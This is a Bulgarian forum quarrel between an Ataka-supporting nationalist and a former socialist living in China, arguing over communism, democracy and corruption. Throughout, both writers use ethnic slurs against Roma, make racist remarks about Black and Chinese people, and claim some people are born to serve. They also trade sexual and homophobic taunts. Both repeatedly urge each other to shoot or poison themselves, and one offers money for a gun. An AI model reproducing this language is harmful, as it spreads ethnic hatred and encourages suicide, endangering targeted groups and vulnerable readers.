Пак изтрещя! Нали ти писах, че ТИ ГИ ПРАЩАТ, т.е. ти нямаш думата, понеже си РОБ, роб на НАТО, САЩ и Турция, роб на ДОГАН ДОРИ.
ПРОФЕСОРЕ ТАТАРСКИ, ТИ НАЛИ ХУЧЕН, КАТО СИ ТАКЪВ, ТО ТОГАВА ДИСИДЕНТ КАКВО ОЗНАЧАВА БРЕ. НЕ ОЗНАЧАВАЛИ, НЕ СЪГЛАСЕН С ПАРТИЯТА МАЙКА И НЕИНИТЕ РЕШЕНИЯ А А А. ВИД ОПОЗИЦИЯ В КОМУНИСТИЧЕСКАТА ПАРТИЯ, ЧЕ СИ ТРЪГНАЛ ДА МИ ГОВОРИШ ЗА ДИСИДЕНТИ. ДА ПРАВ СИ КОБУРГОТА Е ДЕСИДЕНТ, НО САМО ЧЕ В МАСОНСКИ ВАРИАНТ. И АКО Е ЗА ВЪПРОС АЗ НЕ СЪМ ГО ИЗБИРАЛ ТОЗИ ПАЛЯЧО, КЪДЕТО НЕ МОЖЕ ДА ГОВОРИ ДОРИ И ЧИСТО БЪЛАГРСКИ, МЕЖДУ ДРУГОТО ТИ КАТО СИ КИТАЕЦ, ОТ КЪДЕ ЗНАЕШ ТОЛКОВА ЧИСТО БЪЛГАРСКИЯТ.
Ами той нали е ДЕСИДЕНТ, а вие ги харесвате и даже избирате, за да ви оправят за 800 дни? Нали ? На ти демокрация. И интересно, дали все още има хора, дето да вярват в демокрацията?!?!?!
Социалист, ама: КАКВО ДОВЪРШИ.
а/ Под НАТОВСКИ БОТУШ - КАТО БСП ГЛАСУВА С МНОЗИНСТВО ЗА ПРЕСЪИДЕНЯВАНЕТО НА БЪЛГАРИЯ КЪМ НАТО.
б/ Ревизионист като цялото БСП - АМИ ТО СА СИ ЕДНО И СЪЩО НЯМАТ РАЗЛИКА.
в/ При заварено положение - КОЕ Е ЗАВАРЕНОТО ПОЛОЖЕНИЕ БРЕ ПОЯСНИ АМАН ОТ НЕДОМЛЪВКИ.
г/ При капиталистическа СИСТЕМА на управление. - ПАК ЛИ ЗАПОЧВАШ, НАЛИ ТИ КАЗВАМ, КАПИТАЛИСТИЧЕСКА СИСТЕМА СЪС СИЛНО СОЦИАЛИСТИЧЕСКО ПРИСЪСТВИЕ, И ТОВА СТАВА! СОЦИАЛ-КАПИТАЛИЗЪМ.
ВИЖ, АКО ВОЛЕН СИДЕРОВ СТАНЕ ПРЕМИЕР, тогава може и да има промяна. Ама едва ли ще стане, понеже мафиозото няма да допуснат и лека-полека ще го превърнат в пепел (Не, че му го пожелавам, ама е така). ПИШИ ГРАМОТНО БРЕ, НЕГРАМОТНИК, НА МЕН ВИКАШ ЧЕ ПИША НЕГРАМОТНО, А ТИ НА ВОЛЕН СИДЕРОВ ИМЕТО НЕ МОЖЕШ ДА ИЗПИШЕШ КАТО СВЯТ.
ТОВА АКО Е ТАКА, НАПРАВО МОГА ДА ТИ КАЖА? КОЩУНСТВАШ НАД ИДЕЯТА НА АТАКА. ЕИИИИ АЛОООООО ЧЕ ТОИ ВОЛЕН СИДЕРОВ, МУ СЕ НАЛАГА ДА СЕ РАЗПРАВЯ С ПРАВИТЕЛСТВЕННИ ГОИ И МИШКИ, КАТО ТЕБ, КЪДЕТО ТЪРСЯТ УДОБЕН МОМЕНТ ДА МУ СЕ НАДСМЕЯТ, ТИ СИ МИ ТРЪГНАЛ ДА МИ ТВЪРДИШ ЧЕ СИ СИМПАТИЗАНТ. РАЗБИРАШ ЛИ ЗА КАКВО ТЕ НАРИЧАМ НАЦИОНАЛ-СОЦИАЛИСТ. ЗАЩОТО СИ ЛЯВ ЕЛЕМЕНТ, В НАЦИОНАЛИЗМА, ТАКА ЧЕ В НАЦИОНАЛИЗМА НЯМА МЯСТО ЗА ЛЕВИ ЕЛЕМЕНТИ, НАЛКИ ВИЕ СИ ИМАТЕ ИНТЕР-НАЦИОНАЛИЗМА, КАКВО СТАВА, НЕЩО ИЗНЕВРЕЯВАТЕ НА ИДЕИТЕ НА ОНОВА БОСТАНСКО ПЛАШИЛО МАРКС. КЪДЕ ВИ ОТИДЕ ПРАВОВЕРНОСТА, КЪДЕ ВИ ОТИДЕ УСТЕРМА КЪМ СВЕТЛОТО БЪДЕЩЕ БРЕ, НЕЩАСТНИК. АМИ СИ МИ СЕДНАЛ ДА МИ РАЗСЪЖДАВАШ, ТО АЗ ЧЕ СЕ ИЗЛАГАМ ЧЕ СЕ ЗАНИМАВАМ С ТЕБ ПОВЕЧЕ ОТ ТЕБ, НО НА МЕН НЕ МИ ДРЕМЕ НЕКА ДА МЕ МАХНАТ, ТО ТОВА Е ЛЕСНО, НО ТИ МНОГО ПОВЕЧЕ СЕ ИЗЛАГАШ С ГЛУПАВИТЕ ТИ РАЗСЪЖДЕНИЯ.
Коя партия бе? Аз в БГ-политиката симпатизирам в момента на "Атака", а не знам те да са правили нещо такова!
О О О ДА БИЕХА ГИ, ТАКА Е КИТАЕЦО. А СЕГА НА БАЗАТА НА ТЕЗИ ПОБОИЩА КЪДЕТО СА ИМ НАНАСЯЛИ, СЕГА ОБВИНЯВАТ НАС ХОРАТА КОИТО ИСКАМЕ ДА ЖИВЕЕМ СВОБОДНО В НАШАТА СИ РОДИНА, И ТЕ ИДВАТ И НИ ОБВИНЯВАТ ЧЕ БИЛИ БИТИ. НО САМО ЧЕ ОТ КОГО СА ИТИ, МИ ОТГОВОРИ. ОТ НАС НАЦИОНАЛИСТИТЕ ЛИ СА БИТИ, ИЛИ ОТ ВАШАТА ТЕРОРИСТИЧНА МИЛИЦИЯ. И СЕГА НИ СМЕ ИМ ВИНОВНИ ЗА ПОБОИЩАТА, И СМЕ БИЛИ РАСИСТИ, КАТО ГОВОРИШ ПО НЯКОГА ЗА ТАКИВА НЕЩА СЪОБРАЗЯВАИ СЕ НЕ ОБИЖДАШ ЛИ НЯКОГО. ЗАЩОТО СЕГА АТАКА ОТНАСЯ ЦЕЛИЯТ КАИШ НА МИЛИЦИОНЕРСКИТЕ ПОБОИЩА, КАТО Я КВАЛИФИЦИРАТ КАТО ФАШИСТКА ПАРТИЯ, А ТОЧНО БКП И РЕПЕРЕСИВНИТЕ И СТРУКТОРИ, СЕ ОТНАСЯХА С НАС ОБИКНОВЕННИТЕ ХОРА КАТО С ЖИВОТНИ. ПРОСТО СЕ МАХАИ, ИЗЕДНИКО КОМУНИСТИЧЕСКО-ФАШИСТКИ.
Сиктир несиктир, ВАЖНОТО Е, ЧЕ ПРИ СОЦИАЛИЗМА ГИ БИЕХА И НАКАЗВАХА СЪС СМЪРТНО НАКАЗАНИЕ, а СЕГА ПРИ ТЪПАТА ТИ ДЕМОКРАЦИЯ НЯМА! ТОВА Е. Напрегни си малкото мозък и осъзнай, че СИСТЕМАТА е друга и НЕ Е УСПЕШНА СИСТЕМА.
ЧЕ ТИ КОЛКО ГИГАБАЙТА МОЩНОСТ ИМАШ, Я ОТКРЕХНИ, ЧЕ ИСКАМ И АЗ ДА НАПЪЛНЯ ОРГАНИЧНИЯТ СИ ХАРД ДИСК. ЧЕ НЕЩО ВЗЕ ДА ЗАБИВА СЛЕД БЕЗПОЛЕЗНИ ДИСПУТИ С ТАКИВА КАТО ТЕБ КИТАЙСКО КОПЕЛЕ ТАКОВА.
Ми то за себепознание се иска много интелектуална мощ, наборе!
В ГЛАВАТ ТИ СЕ ГОНЯТ ВЕЕЕТРООООВЕЕЕ, КАКВО МОГА ДА ТИ КАЖА ЗА ТОВА, САМО ЧЕ НЕ СИ НОРМАЛЕН, С ПАМЕТТА. НУЖДАШ СЕ ОТ ПРЕЙНСТАЛИРАНЕ НА ЦЯЛ УИНДОУС. НО АЗ МОГА ДА ТИ ПРЕДЛОЖА ЛИНУКС, ЧЕ Е ПО НАДЕЖДНА СИСТЕМА, НЯМА ОПАСНОСТ, ОТ ВИРУСИ, ИДЕАЛЕН Е ЗА РАБОТА В ИНТЕРНЕТ ПРОСТРАНСТВОТО, НА ЧОВЕШКИЯТ ОБМЕН, ЕДНИ МЕЖДУ ДРУГИ.
Ама ти няма за какво да пишеш, понеже вярваш, че вече се е възцарило Световното правителство, демек, краят на историята или нещо такова ти е в главата. Паранои, конспирации...
А МИ ТОИ ТЕЙКО МИ АКО ТЕ ЗАПОЗНАЯ, ПРОСТО ЩЕ ТРЯБВА ДА СЕ МОЛИШ НА КОИТО СИ ИСКАШ БОГ, ЗА ДА НЕ ТЕ БЛАГОСЛАВЯ. ЗАЩОТО ТОИ ОПРЕДЕЛЕНО НЕ Е ОТ МНОГО КРОТКИТЕ ХОРА. ЕТО ГО ЗАПОЧВА СЕ, А БРЕ? ТИ ДА НЕ ДА СИ СИ ИМАЛ ПРОБЛЕМИ С ЦИГАНИТЕ ЧЕ ТОЛКОВА ГИ СПОМЕНАВАШ, ИЛИ ПЪК ПО ЛОШО ДА НЕ СИ ТАКЪВ ЧЕ ТАКА ЯРОСТНО ГИ ОБСЪЖДАШ, ЕИ ВНИМАВАИ ЦИГАНИНО, ЧЕ НИЩО НЕ СЕ ЗНАЕ. А ТОВА КЪДЕТО МИ ГО ПРЕДЛАГАШ, Е ЕГАТИ КОЧИНАТА, ТАМ НЕ БИХ И СЕ ИЗПИКАЛ, ПРОСТО И ЗЕМЯТА Е НАПОЕНА С КОМУНИЗЪМ, ПРОСТО ЩЕ МЕ ПРИХВАНЕ ЗАРАЗАТА НА КОМУНИЗМА ОТ ЗЕМЯТА. АМО КАТО ТИ ХАРЕСВА ТОЛКОВА, СТОИ СИ ТАМ, И СИ ДРАСКАИ НА СМЕШНИТЕ ЙЕРОГЛИФИ, В КОМУНИСТИЧЕСКИТЕ ИМ ФОРУМЧЕТА, И СИ ТРАИ.
"Тъпанар смахнат" предполагам е тейко ти, че те е създал толкова шизофреничен (няма да се учудя, ако си и плод на ромско семе, не, че искам да обидя ромите, дори те биха се погнусили от теб).
Иначе виж и ми кажи, дали ти прилича на "помия", където съм сега:
(http://www.xingfu.se/上海/三亚/三亚.jpg)
Нека ти обясня, РАСИСТЧО - няма дупки по пътищата, липсват цигани и кучета, топличко е през зимата и има евтина храна, хубави моми и липса на атентати.
Иначе ти си пълен ЕВРОПЕИД, нали? Ама от индо-иранската група, дето са и ромите. Ако щеш вярвай, ама и те са към бялата раса (не са негри, нито жълти, нито индианци). А сега де? При този темперамент, дто ми демострираш тука, почти 31 годишен мъж, имам пълното основание да си го помисля.
А ЧЕ ТИ КАКВО СИ ИЗЧЕЛ, ЗА ХАРИ ПОТАР, И НИЩО ДРУГО.
Е как ще те интересува? Нали си прочел най-много 1-2! Все едно мене да ме интересува колко струват цигарите като не пуша! Ами то си е до начин на живот.
Е ВИЖ СОРИ, АЗ НЕ МРА ОТ ГЛАД И СТУД. АКО ИМА ТАКОВА НЕЩО, ТО Е ПРИ ЦИГАНИТЕ. ЕДИНСТВЕННО ПЕНСИОНЕРИТЕ СА БЕДСТВАЩИ В БЪЛГАРИЯ. НО ИНАК ВСЕКИ СЕ ОПРАВЯ ПО НЯКАКЪВ НАЧИН, КОЛКОТО И ДА Е ТРУДЕН НО СЕ ОПРАВЯ, А НЕ КАТО ВАС ХРАНТУТНИЦИ ТАКИВА, КЪДЕТО РАЗЧИТАТЕ ВСИЧКО НА ГОТОВО.
И забрави да кажеш, че в резултата на това мрете от глад, студ и недостиг на пари за лекарства, нали, Незнайко? (Абе помниш ли го този - с една голяма черна шапка, приличаше даже малко на днешното явление Хари Потър).
ЧЕ ЗАЩО ПИТАШ МЕН БРЕ, ДА НЕ БИ АЗ ДА СЪМ ХИМИК ЧЕ ДА ЗНАМ. Я ГО ГЛЕДАИ ТОЗИ, ТИ ВЕЧЕ И НА ХИМИК ЛИ МЕ НАПРАВИ БРЕ МУФЛОНЕ.
А КИТАЙСКИТЕ СЕРИАЛЧЕТА ВЗЕМИ И СИ НАТИКАИ В ЗАДНИТЕ ЧАСТИ.
Ето как се измъкна - хайде пак да те питам - какво стана с обеднения уран и защо еко-министрите в БГ скриха истината? Демокрация ли? ПФУ! Иначе китайскит сериалчета са гот, не са като "Дунав -мост". И след Индия и САЩ, Китай е на 3-то място в света по производство на кино. А България?
Е ТУКА НАПРАВО СИ МЕ ИЗОБЛИ И ТО ЗВЕРСКИ, НЕ БИЛ ОТИШИЛ В АМЕРИКА, ТИ ВЯРВАШ ЛИ СИ КАТО ГО ПРИКАЗВАШ. ЧУН ЦИН, МУН ЦИН ВСЕ СЪЩАТА ГЛУПАВА КИТАЙСКА ИСТОРИЯ.
Аз там пари да ми дават не оивам, бе, МУЙ! За какво ми е да ходя примерно в Сан Франциско, ето го как изглежда:
ПРИ ПОЛОЖЕНИЕ, ЧЕ МОГА ДА ОТИДА В ЧУНЦИН, ето ти как изглежда и ЧУНЦИН:
В Китай се построиха много повече небостъргачи, по-евтино е и е по-безопасно (няма негри, ККК и др. педерастии), та просто няма смисъл.
В САЩ ходят неориентираните. КАТО ТЕБ НАЛИ НЕОРИНТИРАНО СЪЩЕСТВО ТАКОВА.
ЕИ УМРЯЛКО, АЗ ТИ ГОВОРЯ ЗА ТАКА НАРЕЧЕНИТЕ КАПИТАЛИСТИЧЕСКИ ДЪРЖАВИ БРЕ. НЕ ТИ ГОВОРЯ ЗА ИЗТОЧНА ЕВРОПА. ИМАМ ПОЗНАТА ПРИЯТЕЛКА НА МАЙКА МИ, КОЯТО Е ОТ ПЕТРИЧ, И ЗА ДА СИ ОТИДЕШЕ ТАМ, И ТРЯБВАШЕ ОТКРИТ ЛИСТ. А ТВОИТЕ КОМУНЯГИ СИ ЩЪКАХА СВОБОДНО МЕЖДУ ДВАТА КОНТИНЕНТА, ТАКА ЧЕ НАИСТИНА СИ МНОГО ЗАБЛУДЕН, И НЕ ЗНАЕЩ НИЩО ЗА ТУКАШНАТА РЕАЛНОСТ. А СИ МИ СЕ РАЗПРИКАЗВАЛ, КОЛКО СЕ БИЛО ПЪТУВАЛО, ПЪТИВАШЕ СЕ, АМА АКО СИ ДОВЕРЕНО ЛИЦЕ НА ТАЙНИТЕ СЛУЖБИ, ТОГАВА ИМАШЕ ПЪТУВАНЕ, И ТИ МИ РЕКЛАМИРАШ ХОИКАНЕТО НА КОМУНОИДИТЕ, ЗА ВСЕ НАРОДНО ПЪТЕШЕСТВИЕ, ЕГАТИ НЕ ЧЕСТНОТО СЪЩЕСТВО СИ.
Глупости приказваш! Излизаха даже в чужбина! Унгария, Полша ГДР, СССР, ЮГОСЛАВИЯ...Ама хем не помниш, хем се правиш на много вещ мама му стара!
АЗ КАКВО РАБОТЯ, И КАКВО НЕ СИ Е МОЯ РАБОТАТА. А КОЛКОТО ДО КУПУВАНЕТО НА БИЛЕТА, АМА ИЗОБЩО НЕ МЕ ИНТЕРЕСУВА ТОВА. АЗ СЪМ СИ БЪЛГАРИН, И СИ МИ ХАРЕСВА МОЯТА СИ РОДИНА ТУК ИСКАМ ДА ЖИВЕЯ, А НЕ КАТО ТЕБЕ ПРЕДАТЕЛ НЕДОИЗНОСЕН, СИ СЕ КВАКНАЛ В ЕДНА ОТКРОВЕННА ТЕРОРИСТИЧНА ДЪРЖАВА НА ИМЕ КИТАИ КАКВА МЕРЗОСТ, И СИ МИ СЕДНАЛ ДА МИ ВОДИШ РАЗГОВОРИ КАКВО Е БИЛО В БЪЛГАРИЯ. Я ВЗЕМИ ТИ СЕ ГРЪМНИ ПО СКОРО, АЗ СИ НЯМА ПРОБЛЕМ СЪС СЪВЕСТА, НО НЕ МОГА ДА КАЖА СЪЩОТО ЗА ТЕБ.
Е, да, ама сега ти пак имаш проблем, нали? Най-малкото не можеш да си платиш билета, а и да го платиш като кравар ли ще работиш? Ти говориш ли поне един чужд език (оставям настрана ромски, дето сигурно си го учил от някой роднина)?
БРЕИИИ ТИ СИ БИЛ МЕДИУМ, ЗНАЕШ ЛИ? ИЗВИНЯВАИ ЧЕ НЕ ТЕ РАЗБРАХ НА ВРЕМЕ. И ЗАЩО НЕ ВЗЕМЕШ ДА МИ ДОИДЕШ НА ГОСТИ В КАТУНА, И ДА СЕ ПОЗАБАВЛЯВАМ С ТЕБ ЗА ЕДНА НОЩ, ЧЕСТНО КАЗАНО, МАКСИМАЛНО ЩЕ БЪДА НЕЖЕН С ТЕБ, А КИТАЙЧЕ. НИЕ ЦИГАНИТЕ УМЕЕМ ДА ЛЮБИМ И ЛЕКО, НЕ САМО ГРУБО.
Ето прав съм, че си от ромите - не знаеш къде се пише "Ь" и къде "Й". Един 30-годишен българин не би сбъркал.
АМИ ДА ТО В КИТАИ ТАМ НАПРАВО СЕ ДРУСАТЕ С ЕВТИНА КОМУНИСТИЧЕСКА ПРОПАГАНДА, ТЯ ИЗГЛЕЖДА КАКТО СИ ЛИЧИ, Е ПО СИЛНА И ОТ ХЕРОИНА, ПЪК ЗА МАРИХУАНАТА ДА НЕ ГОВОРИМ. И ЗНАЕШ ЛИ КИТАЕЦО? КОЛКОТО АЗ СЪМ ЦИГАНИН, ТОЛКОВА СТАНИШЕВ ЩЕ СТАНЕ УБЕДЕН ИСТИНСКИ АНТИКОМУНИСТ, ТАКА ЧЕ НЕ СИ ПРАВИ ЗАКЛЮЧЕНИЯ ПРИБЪРЗАНИ, ЗАЩОТО НАЛИ ТИ КАЗАХ, ВРАТИТЕ НА КАТУНАТ МИ СА ОТВОРЕНИ ЗА ТЕБ.
Че аз да не съм в Бг, че да дават марихуана даже на ученици?! То, ак не се виждаше, че си с ромски произход и откровено осакатен от природата психически, с чисто сърце бих ти казал, че си наркоман, ама не искам да се заяждам.
ИДЕАЛНО СЕ ВПИСВАШ В ТОВА УМОЗАКЛЮЧЕНИЕ. ЕДНО НЕЩО ГО ПОВТАРЯШ ПО ДВЕСТА ПЪТИ, КАТО ПО ТОЗИ НАЧИН ДОСАЖДАШ ДО СМЪРТ, А СЕГА АЗ СЪМ ТИ БИЛ СЕ ПОВТАРЯЛ. АКО СИ ИЗЧЕТЕШ КОЛКО ПЪТИ ПОВТАРЯШ, ЗА СИСТЕМИТЕ НА НЕСОЦИАЛИЗЪМ И СОЦИАЛИЗЪМ, ПРОСТО ЩЕ ТИ СТАНЕ ЯСНО КОЛКО СИ ИЗОСТАНАЛ ИНДИВИД, ОТ КОМУНИСТИЧЕСКО ТЕСТО.
Знаеш ли как се нарича в психиатричната наука това като повтаряш едно и също, примерно току-що демонстрираното от тебе "А А А" (естествено неграотно, без запетайки)? ПЕРСЕВЕРАЦИИ!
АМИ ДА, НЯМАШЕ БЕЗРАБОТИЦА, КАТО ТЪРКАХА ИКОНОМИКАТА НА ЕДНО МЯСТО, И НАТРУПАХА МНОГО МИЛИАРДЕН ДЪЛГ ЗА СМЕТКА НА НАС БАЛАМИТЕ, ДА ИМ ГИ ИЗПЛАЩАМЕ И СЕГА. А ТЕ СИ ИЗНАСЯТ ТВОИТЕ СЪЩИТЕ СОЦ ВЕЛИЧИЯ, ПАРИТЕ ОТ БАНКИТЕ ЗАД ГРАНИЦА И СЕГА ПЪК СИ СЕДНАЛ ДА МИ ГИ ЗАЩИТАВАШ, Я БЯГАИ НА ДАЛЕКО ДАЛЕКО, И СЕ ПОКРИИ ЗА ДА НЕ ТЕ МАЯСЪЛ ХВАЩА.
ЛъжлЬоооооооо (нарочно написах ЕР МАЛЪК с голяма буква, за да те науча, Ромски, как се пише правилно на български!). За по-младите ще напомня, че по Тошово време беше ЗАДЪЛЖИТЕЛНО да се работи, по закон и нямаше, естествено, безработица. А сега по официални данни е около 12%. Не прави хората на идиоти, искам да ти кажа.
ТИ НАИСТИНА СИ БЕЗНАДЕЖДНО ОВЕХТЕЛ, ПАТЕНТ НА ДЕМОКРАЦИЯТА. ЗА КАКВА ДЕМОКРАЦИЯ МИ ГОВОРИШ БРЕ, МИНДИЛ, НАЛИ СЕГА ДЕМОКРАЦИИТЕ СЕ УПРАВЛЯВАТ ОТ СЪЩИТЕ ТЕЗИ ПАРТИЙНИ СТАРИ ВЕЛИЧИЯ, И С ПАРИТР СИ СИ КУПУВАТ ДЕМОКРАЦИЯ, И ТИ МИ ПРОБЪТВАШ ТАЗИ ОСТАРЯЛА ПЛЕСЕН, ЗА НЕЩО НОВО, КОМУНИЗМА, И СОЦИАЛНИТЕ РАВЕНСТВА. ЗАПОМНИ, РАВЕНСТВО В СВЕТА НЯМА, ИМА РАВНОПОСТАВЕНОСТ, НО НЕ И РАВЕНСТВО. ТОВА ЗА СВОБОДАТА РАВЕНСТВОТО И БРАТСТВОТО СА СИ ЧИСТИ МАСОНСКИ ПРИУМИЦИ, ТАКА ЧЕ БЪДИ СИ РАВЕН СЪС ВЪШКИТЕ А НЕ СА НАС, ИСТИНАСКИТЕ ХОРА. ЗАЩОТО ВИЕ СОЦИАЛНИ ИЗМЕТИ ТАКИВА НИКОГА НЕ МОЖЕТЕ ДА БЪДЕТЕ РАВНИ НА НАС. ЗАЩОТО СТЕ ИНТЕЛЕКТУАЛНО ИЗОСТАНАЛИ ОТ НАС. ПО НИЗШИ СТЕ, СЪЗДАДЕНИ СТЕ ДА СЛУГУВАТЕ, А НЕ ДА ГОСПОДСТВАТЕ, ТО СИ ЛИЧИ СЛУГИНАЖАТ ВИ, ЗА КУПА ЛЕЩА, ВСИЧКО ПРОДАВАТЕ И СЛУГУВАТЕ ЗА ДА ИМА ДА ПЛЮСКАТЕ, И НИЩО ДРУГО ДА НЕ ПРАВТЕ. ЗА ВАС ДУХОВНОСТ НЕ СЪЩЕСТВУВА, ЗАЩОТО ТОВА ПОНЕЖЕ НЕ СЕ ЯДЕ, А СЕ УСЕЩА, И ЗА ТОВА СИ СЪЗДАВАТЕ ДОСТА ФАЛШИВИ КОПИЯ НА ДУХОВНОСТ, ЗА ДА ЗАЛЪГВАТЕ ЧОВЕЧЕСТВОТО ЧЕ СТЕ МОРАЛНО ИЗДИГНАТИ, А ВСЪШНОСТ СТЕ МОРАЛНО ПРОПАДНАЛИ, ЕТО ТОВА СТЕ ВИЕ, КОМУНЯГИ ФАЛШИВИ.
Ами нали и сега става така - периодически - ВИКАТ МУ "ЧИСТКИ", патент на демокрацията, създадена от такива като тебе - неориентирани ромчовци, дето за по едно кебапче с топла бира пускат сини или червени бюлетини (те вече май не са цветни ,де).
НЕ МИ ТРЯБВА ОГНЕСТРЕЛНОТО ВИ ОРЪЖИЕ, ЗНАМ ГО НЕГО, ЕГАТИ МЕНТЕ ПРОЙЗВОДСТВОТО НА МАКАРОВ, И ТТ ПЪК ЗА КАЛАШНИКОВ ДА НЕ ГОВОРИМ. ПОД ВСЯКАКВА КРИТИКА Е ТОИ, ТАКА ЧЕ ТИ СЕ ЗАСТРЕЛЯИ, НО САМО ЧЕ СПРАШКА, ЧЕ Е ПО СИГУРНО, НЯМА ДА ЗАСЕЧЕ, ЗАЩОТО АКО СЕ ГРЪМНЕШ С НЯКОИ ОТ ИЗРЕДЕНИЕТЕ ОРЪЖИЯ, ТЕ ПО СВОЯТА СИ НЕПРИГОДНОСТ, И В РЪЦЕТЕ НА КАРЪК КАТО ТЕБ, ЩЕ ВЗЕМЕ ДА ДАДЕ ОТКАЗ. ТАКА ЧЕ Е НАЙ-СИГУРНО С ПРАШКА.
Значи щом съм против чалгата и тъпия рап съм "заблуден гларус"? Отивай да се гръмнеш, ако нямаш пари ще ти пратя запис за покупката на качествено огнестрелно оръжие по надлежния ред! И не прави грешката на Яворов, бъди точен и прецизен. В краен случай - може да се направиш и на ПанаЙот Волов (ДА, пише се с "Й", Ромски!)
Е ТЕ ТОГАВА СЕ ЗАМИСЛЯХА, И СЛЕД ДЕСЕТИ НОЕМВРИ ГИ СЪЗДАДОХА. ТАКА ЧЕ ГУБИШ ЛЙОЛЙО, ТАКА НАРЕЧЕНИТЕ МУТРИ ИЛИ БОРЦИ КАКТО БЯХА ПО ИЗВЕСТНИ, СА ТВОРЕНИЕ 100% НА ДС С ТЕХНИ ПАРИ СА ЗАХРАНЕНИ, С ТЕХНИ КАДРИ СА ПОДКРЕПЯНИ. А БРЕ С ДВЕ ДУМИ СИСТЕМА ЗА ПЛАДНЕШКИ ОБИР НА ОБИКНОВЕННИТЕ ХОРА, ЗА ДА ИМ СЕ ОТНЕМАТ ПАРИТЕ, И ДА СЕ НАПАЛШАТ. ЕТО ТОВА СА ТЕЗИ МУТРИ, И ТИ СИ МИ РАЗУМУВАЛ, ЧЕ БИЛИ НА ЛОШАТА КОМУНИСТИЧЕСКО-КАПИТАЛИСТИЧЕСКА СИСТЕМА БИЛИ ТВОРЕНИЕ. ТОВА Е ТАКА, НО КАКТО КАЗАХ НА АПАРАТА НА КОМУНИСТИЧЕСКАТА ПАРТИЯ ЗА ТЕРОР Е ДЕЛО, ТАКА ЧЕ НАИСТИНА ГУБИШ.
От 1945 до 1989 не се родиха тези рожби, а се родиха през ДЕМОКРАЦИЯТА. Аз като ти казвам, че системата е скапана, ти се обяснявай още!
АМА ЧЕ ТИ НЕ ЗНАЕШ ЛИ, ЧЕ ТАЗИ ПОЛИТИКА НА ГЕНОЦИД, НЕ Е ОТ ВЧЕРА, ЧЕ ПРЕДИ ДЕСЕТИ НОЕМВРИ Е ТАЗИ ПОЛИТИКА, НА ИЗНОС НА НАРКОТИЦИ, НА ОРЪЖИЕ ЗА ПРОГНИЛИЯТ ЗАПАД, И ТЕМ ПОДОБНИ ТЪПОТИЙ, ТАКА ЧЕ ТАЗИ ТВОЯ ПРХВАЛЕНА СИСТЕМА Е ВИНОВНА И ПРИЧИНАТА ЗА СЪЗДАВАНЕТО НА ТЕЗИ КАНАЛИ ЗА ИЗНОС НА ОРЪЖИЕ, И НАРКОТИЦИ, И СЕГА В ПО СЪВРЕМЕНЕН ПЛАН, И НА БЕЛИ РОБИНИ ПРЕДИМНО КРАСИВИ НАШИ БЪЛГАРКИ. МНОГО СОЦИАЛНО НЯМА ЗАЩО, ДА ПРОДАВАТ ТЕЛАТА НА НАШИ НИ ДЕЦА, ЗА ДА ЗАСИТЯТ ЖИВОТИНСКОТО В ТЕЗИ ИЗРОДИ НЕЧОВЕШКИ.
Че аз да не оспорвам??? Всеки знае, че БГ е станала мафиотска страна и то след рухването на социализма по вина на Горбито.
АМИ АЗ КАТО ШОВЕНИСТИЧЕН ЦИГАНИН МОГА ДА ТИ КАЖА, ТОГАВА ПРОСТО ДА СЕ МАХНЕШ ОТ ТУК, И СТИГА СИ ПЪЛНЕЛ С ПРАЗНОГЛАВИ ГЛУПОСТИ ФОРУМЪТ, ЧЕ ЗАПОЧВАШ ДА СТАВАШ НАИСТИНА, УЖАСЯВАЩО ДОСАДЕН. ЗАЩОТО Е ЛЕСНО ДА ДАВАШ СЪВЕТИ ОТ СТРАНИ, НО Е ТРУДНО ДА ЖИВЕЕШ ТУК В ТЕЗИ Л...А. И НЕ МИ ДРЕМЕ В КОИ ФОРУМ СИ ОБСЪЖДАЛ ВЪТРЕШНИТЕ ПРОБЛЕМИ НА АБОРИГЕНИТЕ, И МАОРИТЕ, А ВЗЕМИ СЕ ПРИЗЕМИ НА ЗЕМЯТА, ЗАЩОТО ТВОЕТО ЛЕТЯЩО ПОЛОЖЕНИЕ, Е ДОСТА БАНАЛНО, ДА ВИСИШ КАТО ПАЯК НА ВИСОКО, И ДА СЪВЕТВАШ КАК ДА Е ЖИВЕЕ, И СЛЕД ТОВА ТОВА НЕ БИЛО ДОБРЕ, ОНОВА НЕ БИЛО ДОБРЕ, АМИ КАТО НЕ Е ДОБРЕ, ВЗЕМИ ЕЛА СИ В БЪЛГАРИЯ И ГО ПРОМЕНИ. А НЕ САМО ДА МИ ФИЛОСОФСТВАШ, ОТ ТАКИВА ФИЛОСОФИЙ СМЕ НА ТОЗИ РЕД, ЧЕ ВСЕКИ ДРЪНКА ГЛУПОСТИ И ФИЛОСОФСТВА, А КАТО СЕ СТИГНЕ ДО ДЕЙСТВИЕ, СЕ ИЗМЪКВА ПО ТЕРЛИЦИ НА КЪДЕ МУ ВИДЯТ ОЧИТЕ. ТАКА ЧЕ МЛЪКВАИ, ПОПУЛИСТ ДОЛЕН.
Измисли нещо по-умно, нали си шовинистичен циганин. не ми минавай с номера, че като си в чужбина не можеш да взимаш отношение. Аз в англоезични форуми говоря и за вътрешните проблеми на Австралия и Нова Зеландия, ама досега нито едно киви не се намери да ми зададе тъпия ти въпрос, макар че и те не са много умни. Ха сега напиши пак три пъти "А", без запетайки и всякакви препинателни знаци, така, како си го караш, по мангасарската...
АМИ МАЛКО ТИ Е БИЛО ТОГАВА, ЗА ДА ПРОДЪЛЖАВАШ ДА СЕ ДЪРЖИШ СУПЕР НИХИЛИСТИЧНО СОЦИАЛИСТО.
Усетил съм много неща - работа за по 40-50 лева на месец; постоянно движение с оръжие, за да не ти пребият гаджето или приятелите мангалите като тебе и така. Усещания - бол!
ЕИ НЕ ТИ ЛИ ОМРЪЗНА ЕДНО И СЪЩО НЕЩО ДА ПОВТАРЯШ ПО СТОТИЦИ ПЪТИ. КАПИТАЛИЗЪМ ТА КАПИТАЛИЗЪМ. ВЗЕМИ И СЕ ОТРОВИ ТОГАВА КАТО НЕ МОЖЕШ ДА ГО ЖИВЕЕШ ТОЗИ КАПИТАЛИЗЪМ, ИЛИ СИ ЖИВЕИ НАРКОМАНСКИЯТ СИ ДУХОВЕН ЖИВОТЕЦ, ТАМ КЪДЕТО СИ, И НЕ СЕ ОБАЖДАИ НА МЕСТА КЪДЕТО НЯМА ДА БЪДЕШ ПРИЕТ РАДУШНО ПАНИМАЕШ ТАВАРИШ.
Неразумен си ти, че викаш на капитализма "социалистическа действителност", тъпанар!
